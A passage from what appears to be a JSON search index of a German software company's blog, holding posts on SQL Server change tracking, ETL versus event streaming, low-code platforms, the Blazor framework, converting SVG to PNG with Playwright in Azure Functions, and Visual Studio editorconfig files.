CT.SYS_CHANGE_COLUMNS) = 1 Hierzu wurde die Spalte \u0026ldquo;Department Changed?\u0026rdquo; hinzugefügt, um zu identifizieren, ob sich diese geändert hatte. Auf diese Weise können auch weitere Spalten hinzugefügt werden:\nWenn ich nun weitere Änderungen durchführe, erhalte ich auch weitere Einträge in der Change-Tracking-Tabelle.\nWenn ich allerdings die Change-Version bei der Abfrage ändere (in diesem Fall 2), erhalte ich lediglich die Änderung höher (exklusive) der angegeben Versionsnummer:\nSELECT * FROM CHANGETABLE(CHANGES Employee, 2) AS CT; Wenn man nun eine Anwendung entwickelt, kann diese Versionsnummer bei der Abfrage übergeben werden, um immer neue Änderungen abzurufen.\nFazit zum Change Tracking über den SQL-Server Der SQL-Server bietet mit Change Data Capture und Change Tracking bereits umfangreiche und einfach zu verwendende Funktionalitäten, um Änderungen zu identifizieren und für weitere Systeme einfach zugänglich zu machen. Dabei muss man sich keine Gedanken über die Speicherung dieser Änderungsdaten machen. An dieser Stelle kann man nun ansetzen, um programmatisch z. B. über eine C#-Konsolenanwendung periodisch die Änderungen abzurufen.\n","date":"9. November 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/change-tracking_hue865a861c91b254f347403c22f0c5ffe_116348_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/change-tracking_hue865a861c91b254f347403c22f0c5ffe_116348_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/datenmigration-mit-dem-sql-server-was-hat-sich-bei-dir-ge%C3%A4ndert/","tags":["tooling",".net","backend"],"title":"Datenmigration mit dem SQL-Server: Was hat sich bei dir geändert?"},{"categories":["How To"],"contents":"In vielen Projekten fragen wir uns, welchen Ansatz wir zur Datensynchronisation zwischen zwei Anwendungen verwenden sollen. Oft müssen wir uns zwischen dem klassischen ETL-Ansatz und einem Event-basierten Ansatz mit Apache Kafka oder Azure Event Hubs entscheiden. Event Streaming (ES) wirbt in der Regel mit seiner Skalierbarkeit. Für uns stellte sich jedoch die Frage, ob der Einsatz auch bei kleinen Datenmengen sinnvoll ist. Zum Beispiel, um Stammdaten zwischen mehreren Anwendungen zu synchronisieren. Wir haben daher eine Evaluation durchgeführt, um zu erfahren, wie sich Integrationslösungen für Anwendungsfälle mit kleineren Datenmengen einsetzen lassen.\nIn diesem Beitrag wird auf die Ergebnisse einer Evaluierung zwischen ETL und Event Streaming eingegangen und eine Empfehlung ausgesprochen, bei welchen Anforderungen welcher Ansatz angewendet werden sollte.\nGrundlagen zu ETL und Event Streaming ETL ist ein gängiger Ansatz zur Datenintegration, bei dem Daten aus verschiedenen Quellen extrahiert, transformiert (Format- und Datenumwandlungen) und dann in ein zentrales Zielsystem geladen werden. Dieser Ansatz eignet sich gut zur Erfassung und Verarbeitung großer Mengen historischer Daten für Analysen und Berichte.\nIm Gegensatz zu ETL, bei dem die Daten regelmäßig nach einem festen Zeitplan übertragen werden, werden beim Event Streaming (ES) die Daten \u0026ldquo;kontinuierlich\u0026rdquo; in Form von Ereignissen übertragen. Ein Ereignis kann z.B. das Anklicken eines Buttons sein, wodurch ein Event erzeugt wird. Dieses Ereignis wird zur weiteren Verarbeitung an interessierte Anwendungen weitergeleitet und enthält Informationen über das eingetretene Ereignis.\nDie Implementierung kann mithilfe von Azure Event Hubs zur Verteilung und einer Azure Function zur Verarbeitung der Events erfolgen.\nErgebnisse der Evaluierung (ETL vs. Event Streaming) Die Evaluierung erfolgte anhand von 4 Bewertungskriterien:\nImplementierungsaufwand Kosten Performance Modifizierbarkeit Implementierungsaufwand Der Implementierungsaufwand ist bei ETL erheblich geringer. Event Streaming benötigt anfänglich mehr Infrastruktur als ETL, weswegen bei einfachen Anwendungsfällen ohne besondere Anforderungen an die Performance ETL besser geeignet ist, um Implementierungsaufwand und damit Entwicklungskosten zu sparen. ETL kann allerdings bei einer Vielzahl von Anwendungen, die untereinander synchronisiert werden müssen, zu einem sehr hohen Implementierungsaufwand führen, wenn zwischen jeder Anwendung eine Verbindung hergestellt werden muss.\nKosten Die variablen Kosten für den Betrieb der Lösungen machen bei kleinen Datenmengen nur einen geringen Anteil an den Implementierungskosten aus. Bei ETL-Lösungen ist mit monatlichen Kosten von wenigen Euro zu rechnen. Auch die Nutzung von Azure Event Hubs für ES ist mit ~20 Euro pro Monat relativ gering. Allerdings weist ETL in diesem Punkt geringere Entwicklungs- und variable Kosten auf.\nPerformance Im Hinblick auf die Performance hat ES Vorteile. ETL-Jobs werden typischerweise in Zeitintervallen ausgeführt. Dies führt zu inkonsistenten Datenbeständen zwischen diesen Intervallen. Diese zeitlichen Intervalle liegen in der Regel zwischen einer Minute und einem Tag, abhängig von der jeweiligen Anwendung. Häufigere Synchronisierungen sind selten und werden auch von Werkzeugen wie der Azure Data Factory nicht unterstützt. Ereignisse werden nahezu in Echtzeit verarbeitet. In Tests wurde mit ES eine durchschnittliche Synchronisationszeit von 5 Sekunden zwischen der Erstellung einer Ressource in einer Anwendung und der Speicherung der Ressource in der Datenbank eines Drittsystems gemessen. Wobei hier der großteil der Zeit auf die Erstellung des Events innerhalb des Quellsystems anfiel. Die reine Verarbeitungszeit wird um die 50ms betragen.\nModifizierbarkeit Hinsichtlich der Modifizierbarkeit hat ES ein größeres Potenzial als ETL, da einerseits die Skalierbarkeit mit ES sehr gut möglich ist und andererseits Probleme wie die Änderung eines Datenformats mit ES einfacher zu implementieren sind. ETL ist in diesen Fällen oft sehr stark von einer API abhängig. ES hat durch die Speicherung von Events die Möglichkeit, auch nachträglich für das Reporting Daten über gelöschte Ressourcen zu liefern oder Daten zu ergänzen.\nFazit der Evaluierung von ETL vs. Event Streaming Die Betrachtung dieser Bewertungskriterien lässt keine generelle Aussage darüber zu, welcher Ansatz nun generell zu bevorzugen ist. ETL hat Vorteile bei den Kosten und beim Implementierungsaufwand. Daher würde ich im Normalfall empfehlen, dass ETL die Standardlösung bleibt. Die zusätzliche Infrastruktur und der damit verbundene Implementierungsaufwand wird sich in vielen Projekten nicht rechnen.\nEvent Streaming wird als sehr performante und skalierbare Technologie beworben und ist es ohne Frage auch. Allerdings wird diese Performance in vielen Projekten nicht benötigt werden, weshalb Event Streaming meiner Meinung nach ein Sonderfall bleiben sollte. Auch hier sollte der Grundsatz gelten:\nDon´t be afraid to use the best tool for the job, even if its uncool, old-fashioned or unusual.\n","date":"26. Oktober 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/event-streaming_hufe3bd30b5f916a3900ce6d21584385c8_75353_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/event-streaming_hufe3bd30b5f916a3900ce6d21584385c8_75353_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/evaluation-etl-vs.-event-streaming-zur-integration-von-stammdaten/","tags":["automation","azure"],"title":"Evaluation: ETL vs. Event Streaming zur Integration von Stammdaten"},{"categories":["Insights"],"contents":"Ein Interview zwischen Mike Ullrich, Program Manager, und Anna Herp, Online-Marketing-Spezialistin, von der Objektkultur Software GmbH. Anna: Mike, was ist der Unterschied zwischen No-Code- und Low-Code Entwicklung?\nMike: No-Code-Entwicklung ermöglicht die Erstellung von Anwendungen ohne jegliche Programmierung, sodass auch Nicht-Programmierer in Unternehmen Software erstellen können. Dabei arbeiten sie mit visuellen Tools und Drag-and-Drop-Funktionen, was die Einstiegshürde massiv senkt und den Entwicklungsprozess beschleunigt. Neben einer schnelleren Umsetzung von Ideen werden IT-Abteilungen entlastet, weil Fachabteilungen kleinere Projekte und Prototypen selbst umsetzen können. Microsoft bezeichnet die Entwickler, die Anwendungen mittels No-Code erstellen, als Citizen Developers.\nAuch bei der Low-Code-Entwicklung wird der Code nicht von Grund auf neu geschrieben, sondern ebenfalls mithilfe visueller Tools erstellt. Im Gegensatz zur No-Code-Entwicklung sind bei der Low-Code-Entwicklung tiefere Anpassungen mit einfachen Formelausdrücken (ähnlich wie bei Excel) oder mit einfachen Skriptfragmenten möglich. Low-Code-Plattformen ermöglichen es technisch versierten Fachanwendern und angelernten Entwicklern, Anwendungen schneller zu erstellen. Weniger Code-Aufwand bedeutet kürzere Entwicklungszeiten sowie höhere Effizienz und bessere Zusammenarbeit zwischen Entwicklern und Fachexperten. Anna: Welche Kenntnisse sollte jemand haben, um auf Basis von Low-Code entwickeln zu können?\nMike: Low-Code-Plattformen ermöglichen es auch Nicht-Entwicklern Software zu erstellen, ohne dass sie die Tiefe der Programmierung von Grund auf beherrschen müssen. Wichtig sind Kenntnisse über Konzepte wie Datenstrukturen, Benutzeroberflächen und Logik (und, oder, nicht, kleiner, größer etc.). Ein grundlegendes Verständnis von Programmierlogik, Variablen und Bedingungen ist natürlich auch hilfreich. Besonders wichtig finde ich in diesem Zusammenhang die Fähigkeit, Prozesse analysieren und Anforderungen durchdringen zu können. Denn auf dieser Basis wählt man die Low-Code-Module aus, die dann angepasst werden können. In einigen Low-Code-Plattformen kann JavaScript für die Anpassung von Verhalten und Benutzeroberflächen verwendet werden. Auch Grundkenntnisse in HTML und CSS können von Vorteil sein, um Benutzeroberflächen weiter zu adaptieren oder zu gestalten. Anna: Und was ist der Unterschied von No- und Low-Code zur traditionellen Programmierung?\nMike: Bei der traditionellen Programmierung schreiben Entwickler Code von Grund auf in Programmiersprachen wie z. B. Java, Python, C++ etc. Man spricht hier auch von der Pro-Code-Entwicklung. Diese erfordert neben Kenntnissen der Programmiersprache(n) ein tiefes Verständnis von algorithmischem Denken, Datenstrukturen, Speicher- und Ressourcenmanagement. Die Entwickler bringen Debugging-Fähigkeiten, Sicherheitswissen, Kenntnisse zur Code-Qualität sowie Frameworks mit und können damit Anwendungen vollständig „from scratch“ erstellen. Sie konzipieren die Anwendung in Hinsicht auf die Architektur, Systemperformance, Sicherheit, Fehlerbehebung und auf das Design. Im Vergleich zur No-Code- und Low-Code-Entwicklung ist die traditionelle Programmierung somit einerseits zeitaufwändiger und komplexer, bietet jedoch umfassende individuelle Einstellungsmöglichkeiten. Anna: Gibt es Nachteile bei der Low-Code-Entwicklung? Wenn ja, welche?\nMike: Ja, Low-Code-Entwicklung kann Nachteile haben, z. B. eine eingeschränkte Flexibilität innerhalb der Anwendung. Bei komplexen Anforderungen könnten vorgefertigte Bausteine und begrenzte Anpassungsmöglichkeiten teils schwer umgesetzt werden. Zum Beispiel könnte eine Low-Code-Plattform Schwierigkeiten haben, eine hochspezialisierte Datenanalyseanwendung darzustellen. Entwickelte Anwendungen sind abhängig von der Plattform, das heißt, wenn die Plattform eingestellt wird oder sich grundlegend ändert. Beispielsweise im Rahmen eines Versionsupdates könnten bestehende Anwendungen irgendwann inkompatibel werden. Die Integration mit bestehenden Systemen kann kompliziert sein, da die Plattform möglicherweise nicht alle erforderlichen Schnittstellen unterstützt. Ein Beispiel wäre die Integration einer Low-Code-App mit einer komplexen Unternehmensdatenbank. Daher setzen wir bei Objektkultur auf die Low-Code-Plattform von Microsoft, die Power Platform . Sie bietet eine breitgefächerte Auswahl an Anwendungen, die maximale Flexibilität bieten sowie Standard-Konnektoren und Integrationsmöglichkeiten. Microsoft bietet mit einem großen Entwicklerteam langfristigen Support und unterstützt abgekündigte Versionen z. B. von Konnektoren während einer Übergangsfrist. Anna: Welche Low-Code-Plattformen gibt es noch?\nMike: Da würde ich drei Low-Code-Plattformen nennen:\nDie bereits genannte Microsoft Power Platform ermöglicht es Benutzern, Apps (Power Apps), Portale (Power Pages), Workflows bzw. Integrationen (Power Automate), RPAs (mit Power Automate Desktop), Berichte (Power BI) und KI-Anwendungen (AI Builder) zu erstellen und miteinander zu verzahnen. Diese sind nahtlos in Microsoft 365 , Dynamics 365 und Azure integriert, was enorme Vorteile beim Datenaustausch und der -Nutzung mit sich bringt und im Alltag ein einfaches Handling ermöglicht. OutSystems, welches für eine schnelle Entwicklung und eine starke Integration bekannt ist. OutSystems bietet visuelles Design, Datenmodellierung und Code-Generierung. Appian bietet Low-Code-Entwicklung, Prozessautomatisierung und künstliche Intelligenz für die Entwicklung von Unternehmensanwendungen. Anna: Kommt im Low-Code-Tool Microsoft Power Apps auch künstliche Intelligenz (KI) zum Einsatz?\nMike: Ja, in der Low-Code-Plattform Microsoft Power Apps sind auch KI-Anwendungen integriert. Microsoft Power Apps bietet Funktionen zur Integration von KI in erstellten Anwendungen. Hierzu gehören vorgefertigte AI-Algorithmen aus dem AI Builder sowie die Integration von Microsoft Azure Basis AI-Diensten, wie zum Beispiel Textanalyse, Bilderkennung und maschinelles Lernen.\nMit diesen KI-Funktionen können Entwickler und Citizen Developer fortschrittliche Funktionen in ihre Anwendungen integrieren, um zum Beispiel Texte zu analysieren, Bilder zu verarbeiten, Vorhersagen zu treffen oder Muster zu erkennen. Dies erweitert die Möglichkeiten von Power Apps über die reine Benutzeroberfläche hinaus und ermöglicht es, intelligente Funktionen ohne tiefes Verständnis der zugrundeliegenden KI-Algorithmen einzusetzen. Anna: Ist Microsoft Power Apps nun eine Low-Code- oder eine No-Code-Plattform?\nMike: Microsoft Power Apps wird oft als Low-Code-Plattform eingestuft, obwohl die Grundfunktionen keiner Skripte oder Code-Fragmente bedürfen. Die Plattform ermöglicht es Benutzern, Anwendungen auch ohne umfangreiche Programmierkenntnisse zu erstellen. Fortgeschrittene Entwicklern können benutzerdefinierten Code verwenden, um spezifische Anforderungen zu erfüllen. Dadurch ist Power Apps eine hybride Plattform, die sowohl Low-Code- als auch begrenzte No-Code-Aspekte bietet und die Anwendungserstellung für verschiedene Nutzergruppen ermöglicht und erleichtert.\nEin Beispiel: Bei der Erstellung einer App zur Gästeregistrierung am Empfang könnte ein Citizen Developer rund 60 Prozent der benötigten Funktionalitäten mit den No-Code-Funktionen von Microsoft Power Apps abbilden. Die verbleibenden 40 Prozent müssten durch einen Programmierer entwickelt werden, der mittels Low-Code-Erweiterungen einen MVP (Minimal Viable Product) baut. Wir sprechen hier von umfangreichen Spezialfunktionen, wie den automatisierten Druck von personalisierten Zutrittskarten, für den der Programmierer eine Schnittstelle liefern muss. Anna: Und zu guter Letzt: Was sollten Unternehmen bei der Einführung der Low-Code-Programmierung beachten?\nMike: Wichtig sind eine sorgfältige Planung und Umsetzung, vor allem jedoch ein umfassendes Changemanagement, um den Kulturwandel zu begleiten. Wir empfehlen bei Objektkultur folgende Schritte:\nBedarfsanalyse: Identifizieren Sie die Bereiche in Ihrem Unternehmen, in denen Low-Code-Entwicklung die Effizienz steigern könnte. Das könnten Prozessautomatisierung, Datenmanagement und Kundenanwendungen sein oder Bereiche, in denen Sie bereits RPA einsetzen und weiter automatisieren wollen. Tool-Recherche und Auswahl: Untersuchen Sie verschiedene Low-Code-Plattformen auf dem Markt. Berücksichtigen Sie Ihre Anforderungen, das Budget und die technischen Fähigkeiten. Unsere Checkliste zur Auswahl einer Low-Code-Plattform führt Sie im Detail durch die wichtigsten Faktoren! Pilotprojekt: Starten Sie mit einem kleinen Pilotprojekt, um die Plattform auszuprobieren und deren Funktionalität zu testen. Achten Sie bei der Auswahl des Projekts auf eine einfache Umsetzbarkeit, um schnell erste Erfolge produzieren zu können und Erfahrung in der Umsetzung zu sammeln. Schulung: Stellen Sie sicher, dass Ihre Mitarbeitenden über die notwendigen Fähigkeiten verfügen, um die Plattform effektiv zu nutzen. Bieten Sie Schulungen und Ressourcen an, um das Verständnis zu fördern und die Einstiegshürde oder die Vorurteile zu reduzieren. Dazu können Sie auch externe Anbieter mit einem breiten Erfahrungsschatz und Kompetenzen im Changemanagement einsetzen. Entwicklung von Richtlinien: Erstellen Sie Richtlinien und Best Practices für die Low-Code-Entwicklung in Ihrem Unternehmen, um Konsistenz und Qualität sicherzustellen. Ein Dienstleister zur Implementierung der Low-Code-Plattform kann hierbei unterstützen – Jetzt kostenloses Erstgespräch anfragen. Ausweitung der Nutzung: Nach erfolgreicher Pilotphase können Sie die Nutzung der Plattform auf andere Teams oder Projekte ausdehnen. Monitoring und Anpassung: Überwachen Sie die Ergebnisse, z. B. mittels entsprechender Tools, und sammeln Sie Feedback von den Citizen Developern. Passen Sie den Prozess an, um den Anforderungen Ihres Unternehmens gerecht zu werden. Skalierung: Wenn sich die Low-Code-Entwicklung als erfolgreich erweist, können Sie überlegen, wie Sie sie in größere Projekte oder Abteilungen integrieren können. Es ist wichtig, dass Unternehmen die Einführung schrittweise angehen und auf die Bedürfnisse und Fähigkeiten der Mitarbeitenden sowie auf die individuellen Prozesse abstimmen. Die Unterstützung des Managements, die Schulung der Mitarbeitenden und eine klare Hyperautomation-Vision halte ich für entscheidend für den Erfolg der Low-Code-Programmierung.\nSie wollen eine Low-Code-Plattform einführen? Das müssen Sie beachten! ","date":"18. Oktober 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/low-code-objektkultur_hub43061f50a855cbb045710d3d1ae14a4_197653_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/low-code-objektkultur_hub43061f50a855cbb045710d3d1ae14a4_197653_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/was-ist-low-code-vor-und-nachteile-sowie-low-code-tools/","tags":["low-code"],"title":"Was ist Low-Code: Vor- und Nachteile sowie Low-Code-Tools"},{"categories":["Serien"],"contents":"Seit einigen Jahren ist das Web-Framework „Blazor“ von Microsoft auf dem Markt. Stand heute scheint die Akzeptanz und somit auch die Adaption von Blazor noch nicht so richtig Fahrt aufgenommen zu haben. Aber was genau ist Blazor? Wann und wie sollte es eingesetzt werden? Wie sieht die Entwicklungs-Roadmap von Microsoft aus und gibt es möglicherweise bald einen deutlichen Aufwärtstrend für Blazor? In dieser Beitragsreihe erhaltet ihr die Antworten.\nWas ist Blazor? Blazor ist das neueste von Microsoft entwickelte Framework für die Web-Entwicklung und seit 2018 verfügbar. Es ermöglicht das Erstellen interaktiver Web-Anwendungen, bei denen C#-Code in HTML-Seiten eingebettet wird. Die Einbettung erfolgt über die Razor-Syntax mit „@“-Zeichen und „{}“ oder durch die Verwendung von Codebehind-Dateien, wie es bereits bei vorherigen Web-Frameworks von Microsoft der Fall war. Die gesamte Entwicklung mit Blazor kann in der Programmiersprache C# erfolgen. Dadurch wird es Entwicklern erspart, JavaScript zu schreiben, während sie dennoch moderne Single Page Applications in einem komponentenorientierten Aufbau erstellen können.\nEin Beispiel für eine solche Komponente ist nachfolgend dargestellt. Die Komponente rendert dabei in einer Liste eine vorgegebene Anzahl an Elementen oder zeigt eine Progress-Bar an, wenn die Elemente noch nicht empfangen wurden.\n@inherits Fluxor.Blazor.Web.Components.FluxorComponent @inject IState\u0026lt;AppState\u0026gt; AppState \u0026lt;PageTitle\u0026gt;Dashboard\u0026lt;/PageTitle\u0026gt; @if (IsLoading) { \u0026lt;ProgressBar /\u0026gt; return; } \u0026lt;div\u0026gt;The first @MaxListSize Items are:\u0026lt;/div\u0026gt; \u0026lt;ul\u0026gt; @foreach (var item in Items.Take(MaxListSize)) { \u0026lt;li\u0026gt;@item\u0026lt;/li\u0026gt; } \u0026lt;/ul\u0026gt; @code { [Parameter] public string[] Items { get; set; } public bool IsLoading =\u0026gt; Items == null; public int MaxListSize =\u0026gt; AppState.Value.MaxListSize; } Bei der Entwicklung solcher Komponenten wird je nach Anwendungsart in verschiedene Hosting-Modelle unterschieden.\nMit „Blazor Server“ kann eine Anwendung auf dem Server ausgeführt und gerendert werden. Bei „Blazor WebAssembly“ hingegen wird der C#-Code clientseitig im Browser anstelle von JavaScript ausgeführt und gerendert. Dies wird durch die Nutzung des namensgebenden „WebAssembly“ ermöglicht, welches kompilierten C#-Code (und andere Programmiersprachen) im Browser ausführen kann. Zusätzlich existiert das Modell „Blazor Hybrid“, das für Cross-Plattform-Anwendungen genutzt werden kann. Eine nähere Betrachtung der verschiedenen Hosting-Modelle erfolgt in einem nächsten Blogbeitrag. Vorteile und Möglichkeiten von Blazor (Web-Framework von Microsoft) Die Mehrwerte, die Blazor mit sich bringt, können am besten ausgereizt werden, wenn im Projekt- oder Unternehmensumfeld bereits auf Microsoft-Technologien gesetzt wird. In diesem Fall eröffnet die Nutzung von Blazor diverse Chancen und Potenziale, die bei anderen Web-Frameworks nicht im gleichen Umfang vorhanden sind. Einige Beispiele dafür sind nachfolgend beschrieben.\nDie Integration in das Microsoft-Ökosystem und Azure ist durch die enge Verbundenheit mit der .NET-Plattform nahtlos möglich. Dadurch können auch bestehende Infrastrukturen, Schnittstellen und Dienste wiederverwendet werden. Zusätzlich bietet die Nutzung etablierter .NET-Bibliotheken bekannte Vorteile wie Geschwindigkeit, Zuverlässigkeit und Sicherheit.\nDie Entwicklerproduktivität wird durch Blazor ebenfalls begünstigt. C#-Entwickler können sich auf ihre Kernprogrammiersprache konzentrieren und dabei ihr Expertenwissen und bewährte Best Practices einbringen, ohne eine neue Sprache oder Konzepte erlernen zu müssen. Die konsistente Verwendung der Programmiersprache über verschiedene Projekte hinweg trägt zusätzlich zur Einheitlichkeit und Übersichtlichkeit bei. Zudem können bekannte Entwicklungsumgebungen und Tools aus der .NET-Welt eingesetzt werden.\nDie zuvor genannten verschiedenen Hosting-Modelle von Blazor eröffnen Flexibilität bei der Auswahl zwischen client- oder serverseitigem Rendering. Sie schaffen aber auch den Zugang zu einer breiten Zielgruppe. Dies wird durch die hohe Browser-Kompatibilität, die Cross-Plattform-Unterstützung (Web, Desktop, Mobile) und die Option zur Offline-Nutzung mittels Progressive Web-Apps ermöglicht.\nDiese Aspekte stellen nur eine kleine Auswahl der Vorteile und Möglichkeiten dar, die sich durch den Einsatz von Blazor ergeben. Jedoch gibt es auch Schattenseiten, wie die hohe initiale Datenlast bei Blazor-WebAssembly-Anwendungen oder der bisher vergleichsweisen kurzen Lebenszeit und somit noch ausbaufähigen Etablierung des Frameworks. Auf diese und weitere Punkte, einschließlich dem zukünftigen Potenzial von Blazor, wird in den folgenden Blogbeiträgen eingegangen.\nFazit zu Blazor In diesem Blogbeitrag wurde ein Blick auf das Web-Framework Blazor von Microsoft geworfen. Blazor bietet vielfältige Möglichkeiten und Vorteile, besonders für Projekte und Unternehmen mit Fokus auf Microsoft-Technologien. Dazu gehören unter anderem die nahtlose Integration in das Microsoft-Ökosystem und Azure, die hohe Wiederverwendbarkeit bestehender Ressourcen, sowie die Effizienz und Konsistenz im Entwicklungsprozess. Insgesamt zeigt sich Blazor als vielversprechendes Web-Framework, welches moderne Webentwicklung mit den Stärken der .NET-Plattform vereint. Trotz Herausforderungen bietet Blazor eine robuste Grundlage für zukunftsweisende Webanwendungen.\nTeil 2: Blazor – Hosting-Modelle Teil 3: Blazor – Marktakzeptanz und -etablierung ","date":"11. Oktober 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/BlazorFramework_hu6857297e54bd307d647e17cb6901e895_52649_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/BlazorFramework_hu6857297e54bd307d647e17cb6901e895_52649_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/blazor-das-web-framework-von-microsoft/","tags":[".net","microsoft-365"],"title":"Blazor – das Web-Framework von Microsoft"},{"categories":["Quick-Tipps"],"contents":"Recently I was facing an integration challenge where I would have to convert an SVG file to PNG in order to store it in a Dynamics 365 image field. The difficulty hereby was that the SVG contained a custom font and the integration was powered by Azure Functions on Windows whose execution environment was missing the needed font and AFAIK there is no way of easily changing that. A common solution to this is usually to shovel the logic into a Docker container where a custom font can be installed and provided. But I was hoping for a solution which didn\u0026rsquo;t involve changing or managing Azure resources. So I got creative and came up with an idea on solving this from all within the existing Azure Function.\nBasically, my idea was\nto embed the SVG as well as the needed web font within an HTML document. to upload the document to blob storage and generate a blob SAS URI. to navigate to the URL within a headless browser instance. to take a screenshot of the rendered SVG in memory. For the headless browser part I used Microsoft Playwright for .NET . Actually its intended use is for E2E-testing, but I found it to be a perfect fit for my scenario, being well documented and able to easily install, run and orchestrate a headless chromium browser instance.\nTalk is cheap. Show me the code. - Linus Torvalds\nHere\u0026rsquo;s my working PoC1.\npublic async Task\u0026lt;byte[]\u0026gt; ConvertSvgToPngAsync(byte[] svg, BlobServiceClient blobServiceClient) { // 1. Construct the html document with the svg and font embedded. string html = $@\u0026#34; \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;\u0026#34;UTF-8\u0026#34;\u0026#34;\u0026gt; \u0026lt;link href=\u0026#34;\u0026#34;https://fonts.googleapis.com/css?family=Roboto\u0026#34;\u0026#34; rel=\u0026#34;\u0026#34;stylesheet\u0026#34;\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; {Encoding.UTF8.GetString(svg)} \u0026lt;/body\u0026gt; \u0026#34;; // 2. Upload the document to blob storage and generate a sas uri. BlobClient blobClient = blobServiceClient .GetBlobContainerClient(\u0026#34;tmp\u0026#34;) .GetBlobClient(\u0026#34;tmp.html\u0026#34;); using MemoryStream stream = new(Encoding.UTF8.GetBytes(html)); await blobClient.UploadAsync(stream, new BlobUploadOptions { HttpHeaders = new() { ContentType = \u0026#34;text/html\u0026#34; } }); Uri uri = blobClient.GenerateSasUri( BlobSasPermissions.Read, DateTimeOffset.UtcNow.AddHours(1)); // 3. Initialize a headless (chromium) browser instance and open the document online. Environment.SetEnvironmentVariable( \u0026#34;PLAYWRIGHT_BROWSERS_PATH\u0026#34;, Environment.GetEnvironmentVariable(\u0026#34;HOME_EXPANDED\u0026#34;)); Microsoft.Playwright.Program.Main(new string[] { \u0026#34;install\u0026#34;, \u0026#34;chromium\u0026#34;, \u0026#34;--with-deps\u0026#34;, }); using var playwright = await Playwright.CreateAsync(); await using var browser = await playwright.Chromium.LaunchAsync(); var page = await browser.NewPageAsync(); await page.SetViewportSizeAsync(1920, 1080); await page.GotoAsync(uri.ToString()); // 4. Take an in-memory screenshot of the svg. await page.WaitForTimeoutAsync(5000); var element = await page.QuerySelectorAsync(\u0026#34;svg\u0026#34;); byte[] png = await element!.ScreenshotAsync(new() { OmitBackground = true, }); return png; } Let me know what you think about this approach!\nYou additionally have to adjust your .csproj-file in order to make Playwright work with Azure Functions as described here .\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"28. September 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/svg-to-png-converter_huc1f6ef574d9c702f81a0b49c176069a6_363574_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/svg-to-png-converter_huc1f6ef574d9c702f81a0b49c176069a6_363574_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/an-alternate-way-of-converting-svg-to-png-with-custom-fonts-in-azure-functions/","tags":[".net","azure"],"title":"An alternate way of converting SVG to PNG with custom fonts in Azure Functions"},{"categories":["Quick-Tipps"],"contents":"Visual Studio bietet Entwicklern jede Menge Möglichkeiten, um die Entwicklungsumgebung an eigene Anforderungen und Wünsche anzupassen. Doch was, wenn das Team bestimmte Konventionen und Einstellung bevorzugt? Zum einen möchte man seine Einstellungen nicht mit denen aus einem Projekt \u0026ldquo;mischen\u0026rdquo;, zum anderen nicht mit den Einstellungen überspielen. Hier schafft die Editor-Config-Datei in einem Projekt Abhilfe.\nWie das in Visual Studio funktioniert und welche Einstellungen mir persönlich sehr beim Entwickeln und Refactoring in meinen Projekten geholfen haben, zeige ich in diesem Blogbeitrag.\nWas ist die .editorconfig in Visual Studio? In der Editor-Config-Datei (.editorconfig) können einheitliche Codierungsformate für das Projekt hinzugefügt werden. Der Vorteil ist, dass diese Einstellungen vor den globalen Einstellungen von Visual Studio verwendet werden und durch die Ablage im Projekt alle Entwickler im Projekt eine gemeinsame Basis haben. Die Editor-Config-Datei kann für jedes Projekt spezifisch angepasst werden. Darin werden u.a. Einstellungen für die Tab-Länge usw. vorgenommen.\nDiese Einstellungen können je entsprechender Entwicklungsdatei (z.B. .cs-Dateien) im Projekt durch die Tastenkombination STRG + K, STRG + E angewandt werden. Eine Anwendung auf das ganze Projekt ist nicht möglich.\nWo sind meine Einstellungen? Wenn man ein neues Projekt mit Visual Studio erstellt, wird zunächst keine Editor-Config-Datei für das aktuelle Projekt angelegt. Durch das Hinzufügen einer neuen Datei (via 